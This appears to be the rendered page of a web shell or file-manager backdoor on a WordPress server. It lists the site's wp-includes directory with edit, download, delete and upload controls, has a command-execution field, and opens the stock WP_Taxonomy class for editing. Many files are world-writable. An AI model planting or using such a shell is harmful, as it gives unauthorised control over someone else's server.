/
home
/
techb158
/
public_html
/
wp-includes
/
/home/techb158/public_html/wp-includes
mkdir
upload
Name
Size
Mode
Actions
abilities-api/
-
0755
rm
ai-client/
-
0755
rm
assets/
-
0777
rm
block-bindings/
-
0755
rm
block-patterns/
-
0777
rm
block-supports/
-
0777
rm
blocks/
-
0777
rm
build/
-
0755
rm
certificates/
-
0777
rm
css/
-
0777
rm
customize/
-
0777
rm
fonts/
-
0777
rm
html-api/
-
0755
rm
ID3/
-
0777
rm
images/
-
0777
rm
interactivity-api/
-
0755
rm
IXR/
-
0777
rm
js/
-
0777
rm
l10n/
-
0755
rm
php-ai-client/
-
0755
rm
php-compat/
-
0777
rm
PHPMailer/
-
0777
rm
pomo/
-
0777
rm
Requests/
-
0777
rm
rest-api/
-
0777
rm
SimplePie/
-
0777
rm
sitemaps/
-
0777
rm
sodium_compat/
-
0777
rm
style-engine/
-
0777
rm
Text/
-
0777
rm
theme-compat/
-
0777
rm
widgets/
-
0777
rm
.htaccess
178
0644
edit
dl
rm
abilities-api.php
32800
0666
edit
dl
rm
abilities.php
11797
0666
edit
dl
rm
admin-bar.php
40067
0666
edit
dl
rm
ai-client.php
2549
0666
edit
dl
rm
atomlib.php
12181
0666
edit
dl
rm
author-template.php
19844
0666
edit
dl
rm
block-bindings.php
7632
0666
edit
dl
rm
block-editor.php
28724
0666
edit
dl
rm
block-i18n.json
316
0666
edit
dl
rm
block-patterns.php
15606
0666
edit
dl
rm
block-template-utils.php
63168
0666
edit
dl
rm
block-template.php
18257
0666
edit
dl
rm
blocks.php
124205
0666
edit
dl
rm
bookmark-template.php
12768
0666
edit
dl
rm
bookmark.php
15427
0666
edit
dl
rm
cache-compat.php
11021
0666
edit
dl
rm
cache.php
13486
0666
edit
dl
rm
canonical.php
34786
0666
edit
dl
rm
capabilities.php
43584
0666
edit
dl
rm
category-template.php
56990
0666
edit
dl
rm
category.php
12834
0666
edit
dl
rm
class-avif-info.php
30008
0666
edit
dl
rm
class-feed.php
539
0666
edit
dl
rm
class-http.php
367
0666
edit
dl
rm
class-IXR.php
2609
0666
edit
dl
rm
class-json.php
43676
0666
edit
dl
rm
class-oembed.php
401
0666
edit
dl
rm
class-phpass.php
6771
0666
edit
dl
rm
class-phpmailer.php
664
0666
edit
dl
rm
class-pop3.php
21100
0666
edit
dl
rm
class-requests.php
2237
0666
edit
dl
rm
class-simplepie.php
453
0666
edit
dl
rm
class-smtp.php
457
0666
edit
dl
rm
class-snoopy.php
37715
0666
edit
dl
rm
class-walker-category-dropdown.php
2469
0666
edit
dl
rm
class-walker-category.php
8477
0666
edit
dl
rm
class-walker-comment.php
14221
0666
edit
dl
rm
class-walker-nav-menu.php
12044
0666
edit
dl
rm
class-walker-page-dropdown.php
2710
0666
edit
dl
rm
class-walker-page.php
7612
0666
edit
dl
rm
class-wp-admin-bar.php
18002
0666
edit
dl
rm
class-wp-ajax-response.php
5288
0666
edit
dl
rm
class-wp-application-passwords.php
17099
0666
edit
dl
rm
class-wp-block-bindings-registry.php
8263
0666
edit
dl
rm
class-wp-block-bindings-source.php
2992
0666
edit
dl
rm
class-wp-block-editor-context.php
1350
0666
edit
dl
rm
class-wp-block-list.php
4713
0666
edit
dl
rm
class-wp-block-metadata-registry.php
11846
0666
edit
dl
rm
class-wp-block-parser-block.php
2555
0666
edit
dl
rm
class-wp-block-parser-frame.php
1994
0666
edit
dl
rm
class-wp-block-parser.php
11525
0666
edit
dl
rm
class-wp-block-pattern-categories-registry.php
4383
0666
edit
dl
rm
class-wp-block-patterns-registry.php
10265
0666
edit
dl
rm
class-wp-block-processor.php
69914
0666
edit
dl
rm
class-wp-block-styles-registry.php
6419
0666
edit
dl
rm
class-wp-block-supports.php
7578
0666
edit
dl
rm
class-wp-block-template.php
2111
0666
edit
dl
rm
class-wp-block-templates-registry.php
7080
0666
edit
dl
rm
class-wp-block-type-registry.php
5305
0666
edit
dl
rm
class-wp-block-type.php
17222
0666
edit
dl
rm
class-wp-block.php
28236
0666
edit
dl
rm
class-wp-classic-to-block-menu-converter.php
4026
0666
edit
dl
rm
class-wp-comment-query.php
49040
0666
edit
dl
rm
class-wp-comment.php
17249
0666
edit
dl
rm
class-wp-connector-registry.php
15181
0666
edit
dl
rm
class-wp-customize-control.php
26112
0666
edit
dl
rm
class-wp-customize-manager.php
202908
0666
edit
dl
rm
class-wp-customize-nav-menus.php
58034
0666
edit
dl
rm
class-wp-customize-panel.php
10703
0666
edit
dl
rm
class-wp-customize-section.php
11209
0666
edit
dl
rm
class-wp-customize-setting.php
29956
0666
edit
dl
rm
class-wp-customize-widgets.php
72596
0666
edit
dl
rm
class-wp-date-query.php
35970
0666
edit
dl
rm
class-wp-dependencies.php
17089
0666
edit
dl
rm
class-wp-dependency.php
2653
0666
edit
dl
rm
class-wp-duotone.php
40836
0666
edit
dl
rm
class-wp-editor.php
72228
0666
edit
dl
rm
class-wp-embed.php
15908
0666
edit
dl
rm
class-wp-error.php
7514
0666
edit
dl
rm
class-wp-exception.php
253
0666
edit
dl
rm
class-wp-fatal-error-handler.php
8150
0666
edit
dl
rm
class-wp-feed-cache-transient.php
3304
0666
edit
dl
rm
class-wp-feed-cache.php
969
0666
edit
dl
rm
class-wp-filter-sentinel.php
760
0666
edit
dl
rm
class-wp-hook.php
17472
0666
edit
dl
rm
class-wp-http-cookie.php
7269
0666
edit
dl
rm
class-wp-http-curl.php
13261
0666
edit
dl
rm
class-wp-http-encoding.php
6689
0666
edit
dl
rm
class-wp-http-ixr-client.php
3516
0666
edit
dl
rm
class-wp-http-proxy.php
5980
0666
edit
dl
rm
class-wp-http-requests-hooks.php
2022
0666
edit
dl
rm
class-wp-http-requests-response.php
4243
0666
edit
dl
rm
class-wp-http-response.php
2977
0666
edit
dl
rm
class-wp-http-streams.php
16764
0666
edit
dl
rm
class-wp-http.php
41641
0666
edit
dl
rm
class-wp-icon-collections-registry.php
5805
0666
edit
dl
rm
class-wp-icons-registry.php
9903
0666
edit
dl
rm
class-wp-image-editor-gd.php
20741
0666
edit
dl
rm
class-wp-image-editor-imagick.php
43454
0666
edit
dl
rm
class-wp-image-editor.php
17456
0666
edit
dl
rm
class-wp-list-util.php
7443
0666
edit
dl
rm
class-wp-locale-switcher.php
6776
0666
edit
dl
rm
class-wp-locale.php
16848
0666
edit
dl
rm
class-wp-matchesmapregex.php
1828
0666
edit
dl
rm
class-wp-meta-query.php
30507
0666
edit
dl
rm
class-wp-metadata-lazyloader.php
6833
0666
edit
dl
rm
class-wp-navigation-fallback.php
9193
0666
edit
dl
rm
class-wp-network-query.php
19989
0666
edit
dl
rm
class-wp-network.php
12411
0666
edit
dl
rm
class-wp-object-cache.php
17524
0666
edit
dl
rm
class-wp-oembed-controller.php
6905
0666
edit
dl
rm
class-wp-oembed.php
34372
0666
edit
dl
rm
class-wp-paused-extensions-storage.php
5067
0666
edit
dl
rm
class-wp-phpmailer.php
4348
0666
edit
dl
rm
class-wp-plugin-dependencies.php
25209
0666
edit
dl
rm
class-wp-post-type.php
30672
0666
edit
dl
rm
class-wp-post.php
8806
0666
edit
dl
rm
class-wp-query.php
164148
0666
edit
dl
rm
class-wp-recovery-mode-cookie-service.php
6877
0666
edit
dl
rm
class-wp-recovery-mode-email-service.php
11162
0666
edit
dl
rm
class-wp-recovery-mode-key-service.php
4914
0666
edit
dl
rm
class-wp-recovery-mode-link-service.php
3523
0666
edit
dl
rm
class-wp-recovery-mode.php
11460
0666
edit
dl
rm
class-wp-rewrite.php
63693
0666
edit
dl
rm
class-wp-role.php
2523
0666
edit
dl
rm
class-wp-roles.php
9326
0666
edit
dl
rm
class-wp-script-modules.php
40743
0666
edit
dl
rm
class-wp-scripts.php
36754
0666
edit
dl
rm
class-wp-session-tokens.php
7319
0666
edit
dl
rm
class-wp-simplepie-file.php
3552
0666
edit
dl
rm
class-wp-simplepie-sanitize-kses.php
1903
0666
edit
dl
rm
class-wp-site-query.php
31482
0666
edit
dl
rm
class-wp-site.php
7836
0666
edit
dl
rm
class-wp-speculation-rules.php
7884
0666
edit
dl
rm
class-wp-styles.php
13316
0666
edit
dl
rm
class-wp-tax-query.php
19577
0666
edit
dl
rm
class-wp-taxonomy.php
18559
0666
edit
dl
rm
class-wp-term-query.php
40751
0666
edit
dl
rm
class-wp-term.php
5263
0666
edit
dl
rm
class-wp-text-diff-renderer-inline.php
979
0666
edit
dl
rm
class-wp-text-diff-renderer-table.php
18925
0666
edit
dl
rm
class-wp-textdomain-registry.php
10481
0666
edit
dl
rm
class-wp-theme-json-data.php
1805
0666
edit
dl
rm
class-wp-theme-json-resolver.php
35692
0666
edit
dl
rm
class-wp-theme-json-schema.php
7367
0666
edit
dl
rm
class-wp-theme-json.php
221506
0666
edit
dl
rm
class-wp-theme.php
65811
0666
edit
dl
rm
class-wp-token-map.php
29032
0666
edit
dl
rm
class-wp-url-pattern-prefixer.php
4802
0666
edit
dl
rm
class-wp-user-meta-session-tokens.php
2954
0666
edit
dl
rm
class-wp-user-query.php
44102
0666
edit
dl
rm
class-wp-user-request.php
2342
0666
edit
dl
rm
class-wp-user.php
23189
0666
edit
dl
rm
class-wp-view-config-data.php
29427
0666
edit
dl
rm
class-wp-walker.php
13292
0666
edit
dl
rm
class-wp-widget-factory.php
3343
0666
edit
dl
rm
class-wp-widget.php
19129
0644
edit
dl
rm
class-wp-xmlrpc-server.php
216272
0666
edit
dl
rm
class-wp.php
26371
0666
edit
dl
rm
class-wpdb.php
121437
0666
edit
dl
rm
class.wp-dependencies.php
373
0666
edit
dl
rm
class.wp-scripts.php
343
0666
edit
dl
rm
class.wp-styles.php
338
0666
edit
dl
rm
comment-template.php
103211
0666
edit
dl
rm
comment.php
150630
0666
edit
dl
rm
compat-utf8.php
19386
0666
edit
dl
rm
compat.php
23105
0644
edit
dl
rm
connectors.php
32922
0666
edit
dl
rm
cron.php
46266
0666
edit
dl
rm
date.php
400
0666
edit
dl
rm
default-constants.php
11365
0666
edit
dl
rm
default-filters.php
39500
0666
edit
dl
rm
default-widgets.php
2288
0666
edit
dl
rm
deprecated.php
193977
0666
edit
dl
rm
embed-template.php
338
0666
edit
dl
rm
embed.php
39215
0666
edit
dl
rm
error-protection.php
4092
0666
edit
dl
rm
feed-atom-comments.php
5504
0666
edit
dl
rm
feed-atom.php
3114
0666
edit
dl
rm
feed-rdf.php
2668
0666
edit
dl
rm
feed-rss.php
1189
0666
edit
dl
rm
feed-rss2-comments.php
4136
0666
edit
dl
rm
feed-rss2.php
3799
0666
edit
dl
rm
feed.php
25189
0666
edit
dl
rm
fonts.php
9789
0666
edit
dl
rm
formatting.php
357652
0666
edit
dl
rm
functions.php
295481
0666
edit
dl
rm
functions.wp-scripts.php
20492
0666
edit
dl
rm
functions.wp-styles.php
8654
0666
edit
dl
rm
general-template.php
183472
0666
edit
dl
rm
global-styles-and-settings.php
20780
0666
edit
dl
rm
http.php
28961
0666
edit
dl
rm
https-detection.php
5857
0666
edit
dl
rm
https-migration.php
4741
0666
edit
dl
rm
icons.php
6334
0666
edit
dl
rm
index.php
1088
0444
edit
dl
rm
json-schema.php
7802
0666
edit
dl
rm
kses.php
88497
0666
edit
dl
rm
kwa.txt
1
0644
edit
dl
rm
l10n.php
71415
0666
edit
dl
rm
link-template.php
160143
0666
edit
dl
rm
load.php
57148
0644
edit
dl
rm
locale.php
162
0666
edit
dl
rm
media-template.php
65759
0666
edit
dl
rm
media.php
236804
0666
edit
dl
rm
meta.php
66739
0666
edit
dl
rm
ms-blogs.php
26324
0666
edit
dl
rm
ms-default-constants.php
4921
0666
edit
dl
rm
ms-default-filters.php
6636
0666
edit
dl
rm
ms-deprecated.php
21787
0666
edit
dl
rm
ms-files.php
2857
0666
edit
dl
rm
ms-functions.php
93258
0644
edit
dl
rm
ms-load.php
20055
0666
edit
dl
rm
ms-network.php
3782
0666
edit
dl
rm
ms-settings.php
4197
0666
edit
dl
rm
ms-site.php
41729
0666
edit
dl
rm
nav-menu-template.php
25983
0666
edit
dl
rm
nav-menu.php
44269
0666
edit
dl
rm
option.php
105246
0666
edit
dl
rm
pluggable-deprecated.php
6324
0666
edit
dl
rm
pluggable.php
127919
0666
edit
dl
rm
plugin.php
39110
0644
edit
dl
rm
post-formats.php
7070
0666
edit
dl
rm
post-template.php
69129
0666
edit
dl
rm
post-thumbnail-template.php
10879
0666
edit
dl
rm
post.php
305215
0666
edit
dl
rm
query.php
37554
0666
edit
dl
rm
registration-functions.php
200
0666
edit
dl
rm
registration.php
200
0666
edit
dl
rm
rest-api.php
102951
0666
edit
dl
rm
revision.php
31241
0666
edit
dl
rm
rewrite.php
19567
0666
edit
dl
rm
robots-template.php
5185
0666
edit
dl
rm
rss-functions.php
277
0666
edit
dl
rm
rss.php
23203
0666
edit
dl
rm
script-loader.php
163550
0666
edit
dl
rm
script-modules.php
12311
0666
edit
dl
rm
session.php
258
0666
edit
dl
rm
shortcodes.php
24034
0666
edit
dl
rm
sitemaps.php
3238
0666
edit
dl
rm
speculative-loading.php
11880
0666
edit
dl
rm
spl-autoload-compat.php
441
0666
edit
dl
rm
style-engine.php
8045
0666
edit
dl
rm
taxonomy.php
178307
0666
edit
dl
rm
template-canvas.php
544
0666
edit
dl
rm
template-loader.php
4267
0666
edit
dl
rm
template.php
36824
0666
edit
dl
rm
theme-i18n.json
1892
0666
edit
dl
rm
theme-previews.php
2887
0666
edit
dl
rm
theme-templates.php
4060
0666
edit
dl
rm
theme.json
9480
0666
edit
dl
rm
theme.php
134641
0666
edit
dl
rm
update.php
38269
0666
edit
dl
rm
user.php
180301
0666
edit
dl
rm
utf8.php
6977
0666
edit
dl
rm
vars.php
6600
0666
edit
dl
rm
version.php
1809
0644
edit
dl
rm
view-config.php
19087
0666
edit
dl
rm
view-transitions.php
602
0666
edit
dl
rm
widgets.php
70866
0666
edit
dl
rm
wp-db.php
445
0666
edit
dl
rm
wp-diff.php
792
0666
edit
dl
rm
Edit:
/home/techb158/public_html/wp-includes/class-wp-taxonomy.php
(18559B)
<?php /** * Taxonomy API: WP_Taxonomy class * * @package WordPress * @subpackage Taxonomy * @since 4.7.0 */ /** * Core class used for interacting with taxonomies. * * @since 4.7.0 */ #[AllowDynamicProperties] final class WP_Taxonomy { /** * Taxonomy key. * * @since 4.7.0 * @var string */ public $name; /** * Name of the taxonomy shown in the menu. Usually plural. * * @since 4.7.0 * @var string */ public $label; /** * Labels object for this taxonomy. * * If not set, tag labels are inherited for non-hierarchical types * and category labels for hierarchical ones. * * @see get_taxonomy_labels() * * @since 4.7.0 * @var stdClass */ public $labels; /** * Default labels. * * @since 6.0.0 * @var (string|null)[][] $default_labels */ protected static $default_labels = array(); /** * A short descriptive summary of what the taxonomy is for. * * @since 4.7.0 * @var string */ public $description = ''; /** * Whether a taxonomy is intended for use publicly either via the admin interface or by front-end users. * * @since 4.7.0 * @var bool */ public $public = true; /** * Whether the taxonomy is publicly queryable. * * @since 4.7.0 * @var bool */ public $publicly_queryable = true; /** * Whether the taxonomy is hierarchical. * * @since 4.7.0 * @var bool */ public $hierarchical = false; /** * Whether to generate and allow a UI for managing terms in this taxonomy in the admin. * * @since 4.7.0 * @var bool */ public $show_ui = true; /** * Whether to show the taxonomy in the admin menu. * * If true, the taxonomy is shown as a submenu of the object type menu. If false, no menu is shown. * * @since 4.7.0 * @var bool */ public $show_in_menu = true; /** * Whether the taxonomy is available for selection in navigation menus. * * @since 4.7.0 * @var bool */ public $show_in_nav_menus = true; /** * Whether to list the taxonomy in the tag cloud widget controls. * * @since 4.7.0 * @var bool */ public $show_tagcloud = true; /** * Whether to show the taxonomy in the quick/bulk edit panel. * * @since 4.7.0 * @var bool */ public $show_in_quick_edit = true; /** * Whether to display a column for the taxonomy on its post type listing screens. * * @since 4.7.0 * @var bool */ public $show_admin_column = false; /** * The callback function for the meta box display. * * @since 4.7.0 * @var bool|callable */ public $meta_box_cb = null; /** * The callback function for sanitizing taxonomy data saved from a meta box. * * @since 5.1.0 * @var callable */ public $meta_box_sanitize_cb = null; /** * An array of object types this taxonomy is registered for. * * @since 4.7.0 * @var string[] */ public $object_type = null; /** * Capabilities for this taxonomy. * * @since 4.7.0 * @var stdClass */ public $cap; /** * Rewrites information for this taxonomy. * * @since 4.7.0 * @var array|false */ public $rewrite; /** * Query var string for this taxonomy. * * @since 4.7.0 * @var string|false */ public $query_var; /** * Function that will be called when the count is updated. * * @since 4.7.0 * @var callable */ public $update_count_callback; /** * Whether this taxonomy should appear in the REST API. * * Default false. If true, standard endpoints will be registered with * respect to $rest_base and $rest_controller_class. * * @since 4.7.4 * @var bool $show_in_rest */ public $show_in_rest; /** * The base path for this taxonomy's REST API endpoints. * * @since 4.7.4 * @var string|bool $rest_base */ public $rest_base; /** * The namespace for this taxonomy's REST API endpoints. * * @since 5.9.0 * @var string|bool $rest_namespace */ public $rest_namespace; /** * The controller for this taxonomy's REST API endpoints. * * Custom controllers must extend WP_REST_Controller. * * @since 4.7.4 * @var string|bool $rest_controller_class */ public $rest_controller_class; /** * The controller instance for this taxonomy's REST API endpoints. * * Lazily computed. Should be accessed using {@see WP_Taxonomy::get_rest_controller()}. * * @since 5.5.0 * @var WP_REST_Controller $rest_controller */ public $rest_controller; /** * The default term name for this taxonomy. If you pass an array you have * to set 'name' and optionally 'slug' and 'description'. * * @since 5.5.0 * @var array|string */ public $default_term; /** * Whether terms in this taxonomy should be sorted in the order they are provided to `wp_set_object_terms()`. * * Use this in combination with `'orderby' => 'term_order'` when fetching terms. * * @since 2.5.0 * @var bool|null */ public $sort = null; /** * Array of arguments to automatically use inside `wp_get_object_terms()` for this taxonomy. * * @since 2.6.0 * @var array|null */ public $args = null; /** * Whether it is a built-in taxonomy. * * @since 4.7.0 * @var bool */ public $_builtin; /** * Constructor. * * See the register_taxonomy() function for accepted arguments for `$args`. * * @since 4.7.0 * * @param string $taxonomy Taxonomy key, must not exceed 32 characters. * @param array|string $object_type Name of the object type for the taxonomy object. * @param array|string $args Optional. Array or query string of arguments for registering a taxonomy. * See register_taxonomy() for information on accepted arguments. * Default empty array. */ public function __construct( $taxonomy, $object_type, $args = array() ) { $this->name = $taxonomy; $this->set_props( $object_type, $args ); } /** * Sets taxonomy properties. * * See the register_taxonomy() function for accepted arguments for `$args`. * * @since 4.7.0 * * @param string|string[] $object_type Name or array of names of the object types for the taxonomy. * @param array|string $args Array or query string of arguments for registering a taxonomy. */ public function set_props( $object_type, $args ) { $args = wp_parse_args( $args ); /** * Filters the arguments for registering a taxonomy. * * @since 4.4.0 * * @param array $args Array of arguments for registering a taxonomy. * See the register_taxonomy() function for accepted arguments. * @param string $taxonomy Taxonomy key. * @param string[] $object_type Array of names of object types for the taxonomy. */ $args = apply_filters( 'register_taxonomy_args', $args, $this->name, (array) $object_type ); $taxonomy = $this->name; /** * Filters the arguments for registering a specific taxonomy. * * The dynamic portion of the filter name, `$taxonomy`, refers to the taxonomy key. * * Possible hook names include: * * - `register_category_taxonomy_args` * - `register_post_tag_taxonomy_args` * * @since 6.0.0 * * @param array $args Array of arguments for registering a taxonomy. * See the register_taxonomy() function for accepted arguments. * @param string $taxonomy Taxonomy key. * @param string[] $object_type Array of names of object types for the taxonomy. */ $args = apply_filters( "register_{$taxonomy}_taxonomy_args", $args, $this->name, (array) $object_type ); $defaults = array( 'labels' => array(), 'description' => '', 'public' => true, 'publicly_queryable' => null, 'hierarchical' => false, 'show_ui' => null, 'show_in_menu' => null, 'show_in_nav_menus' => null, 'show_tagcloud' => null, 'show_in_quick_edit' => null, 'show_admin_column' => false, 'meta_box_cb' => null, 'meta_box_sanitize_cb' => null, 'capabilities' => array(), 'rewrite' => true, 'query_var' => $this->name, 'update_count_callback' => '', 'show_in_rest' => false, 'rest_base' => false, 'rest_namespace' => false, 'rest_controller_class' => false, 'default_term' => null, 'sort' => null, 'args' => null, '_builtin' => false, ); $args = array_merge( $defaults, $args ); // If not set, default to the setting for 'public'. if ( null === $args['publicly_queryable'] ) { $args['publicly_queryable'] = $args['public']; } if ( false !== $args['query_var'] && ( is_admin() || false !== $args['publicly_queryable'] ) ) { if ( true === $args['query_var'] ) { $args['query_var'] = $this->name; } else { $args['query_var'] = sanitize_title_with_dashes( $args['query_var'] ); } } else { // Force 'query_var' to false for non-public taxonomies. $args['query_var'] = false; } if ( false !== $args['rewrite'] && ( is_admin() || get_option( 'permalink_structure' ) ) ) { $args['rewrite'] = wp_parse_args( $args['rewrite'], array( 'with_front' => true, 'hierarchical' => false, 'ep_mask' => EP_NONE, ) ); if ( empty( $args['rewrite']['slug'] ) ) { $args['rewrite']['slug'] = sanitize_title_with_dashes( $this->name ); } } // If not set, default to the setting for 'public'. if ( null === $args['show_ui'] ) { $args['show_ui'] = $args['public']; } // If not set, default to the setting for 'show_ui'. if ( null === $args['show_in_menu'] || ! $args['show_ui'] ) { $args['show_in_menu'] = $args['show_ui']; } // If not set, default to the setting for 'public'. if ( null === $args['show_in_nav_menus'] ) { $args['show_in_nav_menus'] = $args['public']; } // If not set, default to the setting for 'show_ui'. if ( null === $args['show_tagcloud'] ) { $args['show_tagcloud'] = $args['show_ui']; } // If not set, default to the setting for 'show_ui'. if ( null === $args['show_in_quick_edit'] ) { $args['show_in_quick_edit'] = $args['show_ui']; } // If not set, default rest_namespace to wp/v2 if show_in_rest is true. if ( false === $args['rest_namespace'] && ! empty( $args['show_in_rest'] ) ) { $args['rest_namespace'] = 'wp/v2'; } $default_caps = array( 'manage_terms' => 'manage_categories', 'edit_terms' => 'manage_categories', 'delete_terms' => 'manage_categories', 'assign_terms' => 'edit_posts', ); $args['cap'] = (object) array_merge( $default_caps, $args['capabilities'] ); unset( $args['capabilities'] ); $args['object_type'] = array_unique( (array) $object_type ); // If not set, use the default meta box. if ( null === $args['meta_box_cb'] ) { if ( $args['hierarchical'] ) { $args['meta_box_cb'] = 'post_categories_meta_box'; } else { $args['meta_box_cb'] = 'post_tags_meta_box'; } } $args['name'] = $this->name; // Default meta box sanitization callback depends on the value of 'meta_box_cb'. if ( null === $args['meta_box_sanitize_cb'] ) { switch ( $args['meta_box_cb'] ) { case 'post_categories_meta_box': $args['meta_box_sanitize_cb'] = 'taxonomy_meta_box_sanitize_cb_checkboxes'; break; case 'post_tags_meta_box': default: $args['meta_box_sanitize_cb'] = 'taxonomy_meta_box_sanitize_cb_input'; break; } } // Default taxonomy term. if ( ! empty( $args['default_term'] ) ) { if ( ! is_array( $args['default_term'] ) ) { $args['default_term'] = array( 'name' => $args['default_term'] ); } $args['default_term'] = wp_parse_args( $args['default_term'], array( 'name' => '', 'slug' => '', 'description' => '', ) ); } foreach ( $args as $property_name => $property_value ) { $this->$property_name = $property_value; } $this->labels = get_taxonomy_labels( $this ); $this->label = $this->labels->name; } /** * Adds the necessary rewrite rules for the taxonomy. * * @since 4.7.0 * * @global WP $wp Current WordPress environment instance. */ public function add_rewrite_rules() { /* @var WP $wp */ global $wp; // Non-publicly queryable taxonomies should not register query vars, except in the admin. if ( false !== $this->query_var && $wp ) { $wp->add_query_var( $this->query_var ); } if ( false !== $this->rewrite && ( is_admin() || get_option( 'permalink_structure' ) ) ) { if ( $this->hierarchical && $this->rewrite['hierarchical'] ) { $tag = '(.+?)'; } else { $tag = '([^/]+)'; } add_rewrite_tag( "%$this->name%", $tag, $this->query_var ? "{$this->query_var}=" : "taxonomy=$this->name&term=" ); add_permastruct( $this->name, "{$this->rewrite['slug']}/%$this->name%", $this->rewrite ); } } /** * Removes any rewrite rules, permastructs, and rules for the taxonomy. * * @since 4.7.0 * * @global WP $wp Current WordPress environment instance. */ public function remove_rewrite_rules() { /* @var WP $wp */ global $wp; // Remove query var. if ( false !== $this->query_var ) { $wp->remove_query_var( $this->query_var ); } // Remove rewrite tags and permastructs. if ( false !== $this->rewrite ) { remove_rewrite_tag( "%$this->name%" ); remove_permastruct( $this->name ); } } /** * Registers the ajax callback for the meta box. * * @since 4.7.0 */ public function add_hooks() { add_filter( 'wp_ajax_add-' . $this->name, '_wp_ajax_add_hierarchical_term' ); } /** * Removes the ajax callback for the meta box. * * @since 4.7.0 */ public function remove_hooks() { remove_filter( 'wp_ajax_add-' . $this->name, '_wp_ajax_add_hierarchical_term' ); } /** * Gets the REST API controller for this taxonomy. * * Will only instantiate the controller class once per request. * * @since 5.5.0 * * @return WP_REST_Controller|null The controller instance, or null if the taxonomy * is set not to show in rest. */ public function get_rest_controller() { if ( ! $this->show_in_rest ) { return null; } $class = $this->rest_controller_class ? $this->rest_controller_class : WP_REST_Terms_Controller::class; if ( ! class_exists( $class ) ) { return null; } if ( ! is_subclass_of( $class, WP_REST_Controller::class ) ) { return null; } if ( ! $this->rest_controller ) { $this->rest_controller = new $class( $this->name ); } if ( ! ( $this->rest_controller instanceof $class ) ) { return null; } return $this->rest_controller; } /** * Returns the default labels for taxonomies. * * @since 6.0.0 * * @return (string|null)[][] The default labels for taxonomies. */ public static function get_default_labels() { if ( ! empty( self::$default_labels ) ) { return self::$default_labels; } $name_field_description = __( 'The name is how it appears on your site.' ); $slug_field_description = __( 'The “slug” is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens.' ); $parent_field_description = __( 'Assign a parent term to create a hierarchy. The term Jazz, for example, would be the parent of Bebop and Big Band.' ); $desc_field_description = __( 'The description is not prominent by default; however, some themes may show it.' ); self::$default_labels = array( 'name' => array( _x( 'Tags', 'taxonomy general name' ), _x( 'Categories', 'taxonomy general name' ) ), 'singular_name' => array( _x( 'Tag', 'taxonomy singular name' ), _x( 'Category', 'taxonomy singular name' ) ), 'search_items' => array( __( 'Search Tags' ), __( 'Search Categories' ) ), 'popular_items' => array( __( 'Popular Tags' ), null ), 'all_items' => array( __( 'All Tags' ), __( 'All Categories' ) ), 'parent_item' => array( null, __( 'Parent Category' ) ), 'parent_item_colon' => array( null, __( 'Parent Category:' ) ), 'name_field_description' => array( $name_field_description, $name_field_description ), 'slug_field_description' => array( $slug_field_description, $slug_field_description ), 'parent_field_description' => array( null, $parent_field_description ), 'desc_field_description' => array( $desc_field_description, $desc_field_description ), 'edit_item' => array( __( 'Edit Tag' ), __( 'Edit Category' ) ), 'view_item' => array( __( 'View Tag' ), __( 'View Category' ) ), 'update_item' => array( __( 'Update Tag' ), __( 'Update Category' ) ), 'add_new_item' => array( __( 'Add Tag' ), __( 'Add Category' ) ), 'new_item_name' => array( __( 'New Tag Name' ), __( 'New Category Name' ) ), 'separate_items_with_commas' => array( __( 'Separate tags with commas' ), null ), 'add_or_remove_items' => array( __( 'Add or remove tags' ), null ), 'choose_from_most_used' => array( __( 'Choose from the most used tags' ), null ), 'not_found' => array( __( 'No tags found.' ), __( 'No categories found.' ) ), 'no_terms' => array( __( 'No tags' ), __( 'No categories' ) ), 'filter_by_item' => array( null, __( 'Filter by category' ) ), 'items_list_navigation' => array( __( 'Tags list navigation' ), __( 'Categories list navigation' ) ), 'items_list' => array( __( 'Tags list' ), __( 'Categories list' ) ), /* translators: Tab heading when selecting from the most used terms. */ 'most_used' => array( _x( 'Most Used', 'tags' ), _x( 'Most Used', 'categories' ) ), 'back_to_items' => array( __( '← Go to Tags' ), __( '← Go to Categories' ) ), 'item_link' => array( _x( 'Tag Link', 'navigation link block title' ), _x( 'Category Link', 'navigation link block title' ), ), 'item_link_description' => array( _x( 'A link to a tag.', 'navigation link block description' ), _x( 'A link to a category.', 'navigation link block description' ), ), ); return self::$default_labels; } /** * Resets the cache for the default labels. * * @since 6.0.0 */ public static function reset_default_labels() { self::$default_labels = array(); } }
Save
cmd:
run